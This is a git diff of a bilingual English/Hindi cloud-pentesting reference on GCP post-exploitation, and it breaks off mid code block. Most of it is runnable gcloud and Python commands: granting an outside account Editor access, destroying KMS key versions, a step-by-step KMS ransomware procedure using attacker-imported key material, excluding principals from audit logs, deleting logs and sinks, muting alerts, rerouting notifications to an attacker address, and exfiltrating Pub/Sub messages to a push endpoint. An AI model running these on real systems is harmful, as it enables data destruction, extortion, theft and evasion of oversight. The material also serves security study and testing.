### प्रबंधन कंसोल तक पहुंच प्रदान करना <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**.
|
||||
[GCP प्रबंधन कंसोल](https://console.cloud.google.com) तक पहुंच **उपयोगकर्ता खातों को प्रदान की जाती है, सेवा खातों को नहीं**। वेब इंटरफेस में लॉग इन करने के लिए, आप **एक Google खाते को पहुंच प्रदान कर सकते हैं** जिसे आप नियंत्रित करते हैं। यह एक सामान्य "**@gmail.com**" खाता हो सकता है, यह **लक्षित संगठन का सदस्य होना आवश्यक नहीं है**।
|
||||
|
||||
To **grant** the primitive role of **Owner** to a generic "@gmail.com" account, though, you'll need to **use the web console**. `gcloud` will error out if you try to grant it a permission above Editor.
|
||||
|
||||
You can use the following command to **grant a user the primitive role of Editor** to your existing project:
|
||||
हालांकि, एक सामान्य "@gmail.com" खाते को **Owner** की प्राथमिक भूमिका **प्रदान करने के लिए**, आपको **वेब कंसोल का उपयोग करना होगा**। यदि आप इसे Editor से ऊपर की अनुमति देने की कोशिश करते हैं, तो `gcloud` त्रुटि देगा।
|
||||
|
||||
आप अपने मौजूदा प्रोजेक्ट को **Editor की प्राथमिक भूमिका प्रदान करने के लिए** निम्नलिखित कमांड का उपयोग कर सकते हैं:
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
यदि आप यहाँ सफल हुए, तो **वेब इंटरफ़ेस तक पहुँचने** और वहाँ से अन्वेषण करने का प्रयास करें।
|
||||
|
||||
If you succeeded here, try **accessing the web interface** and exploring from there.
|
||||
|
||||
This is the **highest level you can assign using the gcloud tool**.
|
||||
यह **gcloud टूल का उपयोग करके आप असाइन कर सकते हैं सबसे उच्च स्तर** है।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+108
-124
@@ -1,10 +1,10 @@
|
||||
# GCP - KMS Post Exploitation
|
||||
# GCP - KMS पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Find basic information about KMS in:
|
||||
KMS के बारे में मूल जानकारी प्राप्त करें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
@@ -12,38 +12,37 @@ Find basic information about KMS in:
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
An attacker with this permission could destroy a KMS version. In order to do this you first need to disable the key and then destroy it:
|
||||
|
||||
इस अनुमति के साथ एक हमलावर एक KMS संस्करण को नष्ट कर सकता है। ऐसा करने के लिए, आपको पहले कुंजी को निष्क्रिय करना होगा और फिर इसे नष्ट करना होगा:
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
from google.cloud import kms
|
||||
|
||||
def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
|
||||
"""
|
||||
Disables a key version in Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
"""
|
||||
Disables a key version in Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
|
||||
# Build the key version name.
|
||||
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
# Build the key version name.
|
||||
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
# Call the API to disable the key version.
|
||||
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})
|
||||
# Call the API to disable the key version.
|
||||
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})
|
||||
|
||||
def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
|
||||
"""
|
||||
Destroys a key version in Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
"""
|
||||
Destroys a key version in Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
|
||||
# Build the key version name.
|
||||
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
# Build the key version name.
|
||||
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
# Call the API to destroy the key version.
|
||||
client.destroy_crypto_key_version(request={'name': key_version_name})
|
||||
# Call the API to destroy the key version.
|
||||
client.destroy_crypto_key_version(request={'name': key_version_name})
|
||||
|
||||
# Example usage
|
||||
project_id = 'your-project-id'
|
||||
@@ -58,125 +57,119 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
# Destroy the key version
|
||||
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
```
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
In AWS it's possible to completely **steal a KMS key** by modifying the KMS resource policy and only allowing the attackers account to use the key. As these resource policies doesn't exist in GCP this is not possible.
|
||||
AWS में एक KMS कुंजी को पूरी तरह से **चोरी करना** संभव है, KMS संसाधन नीति को संशोधित करके और केवल हमलावर के खाते को कुंजी का उपयोग करने की अनुमति देकर। चूंकि ये संसाधन नीतियाँ GCP में मौजूद नहीं हैं, यह संभव नहीं है।
|
||||
|
||||
However, there is another way to perform a global KMS Ransomware, which would involve the following steps:
|
||||
|
||||
- Create a new **version of the key with a key material** imported by the attacker
|
||||
हालांकि, एक वैश्विक KMS Ransomware करने का एक और तरीका है, जिसमें निम्नलिखित चरण शामिल होंगे:
|
||||
|
||||
- एक नई **कुंजी का संस्करण बनाएं जिसमें हमलावर द्वारा आयातित कुंजी सामग्री** हो
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- इसे **डिफ़ॉल्ट संस्करण** के रूप में सेट करें (भविष्य में एन्क्रिप्ट किए जा रहे डेटा के लिए)
|
||||
- **पुराने डेटा को फिर से एन्क्रिप्ट करें** जो पिछले संस्करण के साथ एन्क्रिप्ट किया गया था, नए के साथ।
|
||||
- **KMS कुंजी को हटाएं**
|
||||
- अब केवल हमलावर, जिसके पास मूल कुंजी सामग्री है, एन्क्रिप्ट किए गए डेटा को डिक्रिप्ट कर सकेगा
|
||||
|
||||
- Set it as **default version** (for future data being encrypted)
|
||||
- **Re-encrypt older data** encrypted with the previous version with the new one.
|
||||
- **Delete the KMS key**
|
||||
- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
|
||||
|
||||
#### Here are the steps to import a new version and disable/delete the older data:
|
||||
|
||||
#### यहां एक नया संस्करण आयात करने और पुराने डेटा को अक्षम/हटाने के चरण दिए गए हैं:
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
gcloud kms encrypt \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--plaintext-file my-plaintext-file.txt \
|
||||
--ciphertext-file my-encrypted-file.enc
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--plaintext-file my-plaintext-file.txt \
|
||||
--ciphertext-file my-encrypted-file.enc
|
||||
|
||||
# Decrypt it
|
||||
gcloud kms decrypt \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--ciphertext-file my-encrypted-file.enc \
|
||||
--plaintext-file -
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--ciphertext-file my-encrypted-file.enc \
|
||||
--plaintext-file -
|
||||
|
||||
|
||||
# Create an Import Job
|
||||
gcloud kms import-jobs create my-import-job \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--import-method "rsa-oaep-3072-sha1-aes-256" \
|
||||
--protection-level "software"
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--import-method "rsa-oaep-3072-sha1-aes-256" \
|
||||
--protection-level "software"
|
||||
|
||||
# Generate key material
|
||||
openssl rand -out my-key-material.bin 32
|
||||
|
||||
# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
|
||||
gcloud kms keys versions import \
|
||||
--import-job my-import-job \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--algorithm "google-symmetric-encryption" \
|
||||
--target-key-file my-key-material.bin
|
||||
--import-job my-import-job \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--algorithm "google-symmetric-encryption" \
|
||||
--target-key-file my-key-material.bin
|
||||
|
||||
# Get versions
|
||||
gcloud kms keys versions list \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key
|
||||
|
||||
# Make new version primary
|
||||
gcloud kms keys update \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--primary-version 2
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--primary-version 2
|
||||
|
||||
# Try to decrypt again (error)
|
||||
gcloud kms decrypt \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--ciphertext-file my-encrypted-file.enc \
|
||||
--plaintext-file -
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--ciphertext-file my-encrypted-file.enc \
|
||||
--plaintext-file -
|
||||
|
||||
# Disable initial version
|
||||
gcloud kms keys versions disable \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key 1
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key 1
|
||||
|
||||
# Destroy the old version
|
||||
gcloud kms keys versions destroy \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--version 1
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--version 1
|
||||
|
||||
```
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
|
||||
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import base64
|
||||
|
||||
def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
|
||||
"""
|
||||
Encrypts data using a symmetric key from Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
"""
|
||||
Encrypts data using a symmetric key from Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
|
||||
# Build the key name.
|
||||
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
|
||||
# Build the key name.
|
||||
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
|
||||
|
||||
# Convert the plaintext to bytes.
|
||||
plaintext_bytes = plaintext.encode('utf-8')
|
||||
# Convert the plaintext to bytes.
|
||||
plaintext_bytes = plaintext.encode('utf-8')
|
||||
|
||||
# Call the API.
|
||||
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
|
||||
ciphertext = encrypt_response.ciphertext
|
||||
# Call the API.
|
||||
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
|
||||
ciphertext = encrypt_response.ciphertext
|
||||
|
||||
# Optional: Encode the ciphertext to base64 for easier handling.
|
||||
return base64.b64encode(ciphertext)
|
||||
# Optional: Encode the ciphertext to base64 for easier handling.
|
||||
return base64.b64encode(ciphertext)
|
||||
|
||||
# Example usage
|
||||
project_id = 'your-project-id'
|
||||
@@ -188,30 +181,28 @@ plaintext = 'your-data-to-encrypt'
|
||||
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
|
||||
print('Ciphertext:', ciphertext)
|
||||
```
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToSign`
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
from google.cloud import kms
|
||||
|
||||
def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
|
||||
"""
|
||||
Sign a message using an asymmetric key version from Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
"""
|
||||
Sign a message using an asymmetric key version from Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
|
||||
# Build the key version name.
|
||||
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
# Build the key version name.
|
||||
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
# Convert the message to bytes and calculate the digest.
|
||||
message_bytes = message.encode('utf-8')
|
||||
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
|
||||
# Convert the message to bytes and calculate the digest.
|
||||
message_bytes = message.encode('utf-8')
|
||||
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
|
||||
|
||||
# Call the API to sign the digest.
|
||||
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
|
||||
return sign_response.signature
|
||||
# Call the API to sign the digest.
|
||||
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
|
||||
return sign_response.signature
|
||||
|
||||
# Example usage for signing
|
||||
project_id = 'your-project-id'
|
||||
@@ -224,38 +215,31 @@ message = 'your-message'
|
||||
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
|
||||
print('Signature:', signature)
|
||||
```
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToVerify`
|
||||
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
|
||||
def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
|
||||
"""
|
||||
Verify a signature using an asymmetric key version from Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
"""
|
||||
Verify a signature using an asymmetric key version from Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
|
||||
# Build the key version name.
|
||||
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
# Build the key version name.
|
||||
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
# Convert the message to bytes and calculate the digest.
|
||||
message_bytes = message.encode('utf-8')
|
||||
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
|
||||
# Convert the message to bytes and calculate the digest.
|
||||
message_bytes = message.encode('utf-8')
|
||||
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
|
||||
|
||||
# Build the verify request and call the API.
|
||||
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
|
||||
return verify_response.success
|
||||
# Build the verify request and call the API.
|
||||
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
|
||||
return verify_response.success
|
||||
|
||||
# Example usage for verification
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+5
-33
@@ -4,13 +4,13 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
For more information check:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For other ways to disrupt monitoring check:
|
||||
निगरानी को बाधित करने के अन्य तरीकों के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-monitoring-post-exploitation.md
|
||||
@@ -18,14 +18,13 @@ gcp-monitoring-post-exploitation.md
|
||||
|
||||
### Default Logging
|
||||
|
||||
**By default you won't get caught just for performing read actions. Fore more info check the Logging Enum section.**
|
||||
**डिफ़ॉल्ट रूप से, केवल पढ़ने की क्रियाएँ करने के लिए आपको पकड़ा नहीं जाएगा। अधिक जानकारी के लिए Logging Enum अनुभाग देखें।**
|
||||
|
||||
### Add Excepted Principal
|
||||
|
||||
In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) and [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) is possible to add principals to not generate logs. An attacker could abuse this to prevent being caught.
|
||||
[https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) और [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) पर प्रिंसिपल जोड़ना संभव है ताकि लॉग उत्पन्न न हों। एक हमलावर इसका दुरुपयोग कर सकता है ताकि पकड़ा न जाए।
|
||||
|
||||
### Read logs - `logging.logEntries.list`
|
||||
|
||||
```bash
|
||||
# Read logs
|
||||
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
|
||||
@@ -35,80 +34,58 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
|
||||
|
||||
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
|
||||
```
|
||||
|
||||
### `logging.logs.delete`
|
||||
|
||||
```bash
|
||||
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
|
||||
gcloud logging logs delete <log-name>
|
||||
```
|
||||
|
||||
### Write logs - `logging.logEntries.create`
|
||||
|
||||
### लॉग लिखें - `logging.logEntries.create`
|
||||
```bash
|
||||
# Write a log entry to try to disrupt some system
|
||||
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
|
||||
```
|
||||
|
||||
### `logging.buckets.update`
|
||||
|
||||
```bash
|
||||
# Set retention period to 1 day (_Required has a fixed one of 400days)
|
||||
|
||||
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
|
||||
```
|
||||
|
||||
### `logging.buckets.delete`
|
||||
|
||||
```bash
|
||||
# Delete log bucket
|
||||
gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
```
|
||||
|
||||
### `logging.links.delete`
|
||||
|
||||
```bash
|
||||
# Delete link
|
||||
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
||||
```
|
||||
|
||||
### `logging.views.delete`
|
||||
|
||||
```bash
|
||||
# Delete a logging view to remove access to anyone using it
|
||||
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
||||
```
|
||||
|
||||
### `logging.views.update`
|
||||
|
||||
```bash
|
||||
# Update a logging view to hide data
|
||||
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
|
||||
```
|
||||
|
||||
### `logging.logMetrics.update`
|
||||
|
||||
```bash
|
||||
# Update log based metrics - logging.logMetrics.update
|
||||
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
|
||||
```
|
||||
|
||||
### `logging.logMetrics.delete`
|
||||
|
||||
```bash
|
||||
# Delete log based metrics - logging.logMetrics.delete
|
||||
gcloud logging metrics delete <metric-name>
|
||||
```
|
||||
|
||||
### `logging.sinks.delete`
|
||||
|
||||
```bash
|
||||
# Delete sink - logging.sinks.delete
|
||||
gcloud logging sinks delete <sink-name>
|
||||
```
|
||||
|
||||
### `logging.sinks.update`
|
||||
|
||||
```bash
|
||||
# Disable sink - logging.sinks.update
|
||||
gcloud logging sinks update <sink-name> --disabled
|
||||
@@ -129,9 +106,4 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
|
||||
gcloud logging sinks update SINK_NAME --use-partitioned-tables
|
||||
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+20
-40
@@ -4,13 +4,13 @@
|
||||
|
||||
## Monitoring
|
||||
|
||||
Fore more information check:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-monitoring-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For other ways to disrupt logs check:
|
||||
लॉग को बाधित करने के अन्य तरीकों के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-logging-post-exploitation.md
|
||||
@@ -18,16 +18,13 @@ gcp-logging-post-exploitation.md
|
||||
|
||||
### `monitoring.alertPolicies.delete`
|
||||
|
||||
Delete an alert policy:
|
||||
|
||||
एक अलर्ट नीति को हटाएं:
|
||||
```bash
|
||||
gcloud alpha monitoring policies delete <policy>
|
||||
```
|
||||
|
||||
### `monitoring.alertPolicies.update`
|
||||
|
||||
Disrupt an alert policy:
|
||||
|
||||
एक अलर्ट नीति को बाधित करें:
|
||||
```bash
|
||||
# Disable policy
|
||||
gcloud alpha monitoring policies update <alert-policy> --no-enabled
|
||||
@@ -42,48 +39,40 @@ gcloud alpha monitoring policies update <alert-policy> --set-notification-channe
|
||||
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
|
||||
# or use --policy-from-file <policy-file>
|
||||
```
|
||||
|
||||
### `monitoring.dashboards.update`
|
||||
|
||||
Modify a dashboard to disrupt it:
|
||||
|
||||
एक डैशबोर्ड को संशोधित करें ताकि इसे बाधित किया जा सके:
|
||||
```bash
|
||||
# Disrupt dashboard
|
||||
gcloud monitoring dashboards update <dashboard> --config='''
|
||||
displayName: New Dashboard with New Display Name
|
||||
etag: 40d1040034db4e5a9dee931ec1b12c0d
|
||||
gridLayout:
|
||||
widgets:
|
||||
- text:
|
||||
content: Hello World
|
||||
'''
|
||||
displayName: New Dashboard with New Display Name
|
||||
etag: 40d1040034db4e5a9dee931ec1b12c0d
|
||||
gridLayout:
|
||||
widgets:
|
||||
- text:
|
||||
content: Hello World
|
||||
'''
|
||||
```
|
||||
|
||||
### `monitoring.dashboards.delete`
|
||||
|
||||
Delete a dashboard:
|
||||
|
||||
एक डैशबोर्ड हटाएं:
|
||||
```bash
|
||||
# Delete dashboard
|
||||
gcloud monitoring dashboards delete <dashboard>
|
||||
```
|
||||
|
||||
### `monitoring.snoozes.create`
|
||||
|
||||
Prevent policies from generating alerts by creating a snoozer:
|
||||
|
||||
नीतियों को अलर्ट उत्पन्न करने से रोकने के लिए एक स्नूज़र बनाएं:
|
||||
```bash
|
||||
# Stop alerts by creating a snoozer
|
||||
gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
--criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \
|
||||
--start-time="2023-03-01T03:00:00.0-0500" \
|
||||
--end-time="2023-03-07T23:59:59.5-0500"
|
||||
--criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \
|
||||
--start-time="2023-03-01T03:00:00.0-0500" \
|
||||
--end-time="2023-03-07T23:59:59.5-0500"
|
||||
```
|
||||
|
||||
### `monitoring.snoozes.update`
|
||||
|
||||
Update the timing of a snoozer to prevent alerts from being created when the attacker is interested:
|
||||
|
||||
स्नूज़र के समय को अपडेट करें ताकि हमलावर की रुचि के समय अलर्ट उत्पन्न न हों:
|
||||
```bash
|
||||
# Modify the timing of a snooze
|
||||
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
|
||||
@@ -91,28 +80,19 @@ gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END
|
||||
# odify everything, including affected policies
|
||||
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
|
||||
```
|
||||
|
||||
### `monitoring.notificationChannels.delete`
|
||||
|
||||
Delete a configured channel:
|
||||
|
||||
एक कॉन्फ़िगर किया गया चैनल हटाएँ:
|
||||
```bash
|
||||
# Delete channel
|
||||
gcloud alpha monitoring channels delete <channel>
|
||||
```
|
||||
|
||||
### `monitoring.notificationChannels.update`
|
||||
|
||||
Update labels of a channel to disrupt it:
|
||||
|
||||
एक चैनल के लेबल को अपडेट करें ताकि इसे बाधित किया जा सके:
|
||||
```bash
|
||||
# Delete or update labels, for example email channels have the email indicated here
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+34
-58
@@ -4,7 +4,7 @@
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
For more information about Pub/Sub check the following page:
|
||||
Pub/Sub के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,49 +12,40 @@ For more information about Pub/Sub check the following page:
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
Publish a message in a topic, useful to **send unexpected data** and trigger unexpected functionalities or exploit vulnerabilities:
|
||||
|
||||
एक विषय में एक संदेश प्रकाशित करें, **अप्रत्याशित डेटा भेजने** और अप्रत्याशित कार्यक्षमताओं को ट्रिगर करने या कमजोरियों का लाभ उठाने के लिए उपयोगी:
|
||||
```bash
|
||||
# Publish a message in a topic
|
||||
gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
```
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
Useful to prevent a subscription from receiving messages, maybe to avoid detection.
|
||||
|
||||
संदेश प्राप्त करने से एक सदस्यता को रोकने के लिए उपयोगी, शायद पहचान से बचने के लिए।
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
Useful to prevent a subscription from receiving messages, maybe to avoid detection.\
|
||||
It's possible to delete a topic even with subscriptions attached to it.
|
||||
|
||||
सदस्यता को संदेश प्राप्त करने से रोकने के लिए उपयोगी, शायद पहचान से बचने के लिए।\
|
||||
यह एक विषय को हटाना संभव है, भले ही इसके साथ सदस्यताएँ जुड़ी हों।
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
Use this permission to update some setting of the topic to disrupt it, like `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
इस अनुमति का उपयोग विषय की कुछ सेटिंग को अपडेट करने के लिए करें ताकि इसे बाधित किया जा सके, जैसे `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
Give yourself permission to perform any of the previous attacks.
|
||||
अपने लिए किसी भी पिछले हमले को करने की अनुमति दें।
|
||||
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
Get all the messages in a web server:
|
||||
|
||||
एक वेब सर्वर में सभी संदेश प्राप्त करें:
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
```
|
||||
|
||||
Create a subscription and use it to **pull messages**:
|
||||
|
||||
एक सदस्यता बनाएं और इसका उपयोग **संदेश खींचने** के लिए करें:
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -63,82 +54,67 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
## This command will wait for a message to be posted
|
||||
```
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**Delete a subscription** could be useful to disrupt a log processing system or something similar:
|
||||
|
||||
**एक सदस्यता हटाना** लॉग प्रोसेसिंग सिस्टम या कुछ समान को बाधित करने के लिए उपयोगी हो सकता है:
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
Use this permission to update some setting so messages are stored in a place you can access (URL, Big Query table, Bucket) or just to disrupt it.
|
||||
|
||||
इस अनुमति का उपयोग कुछ सेटिंग को अपडेट करने के लिए करें ताकि संदेश एक ऐसी जगह पर संग्रहीत हों जहाँ आप पहुँच सकते हैं (URL, Big Query तालिका, बकेट) या बस इसे बाधित करने के लिए।
|
||||
```bash
|
||||
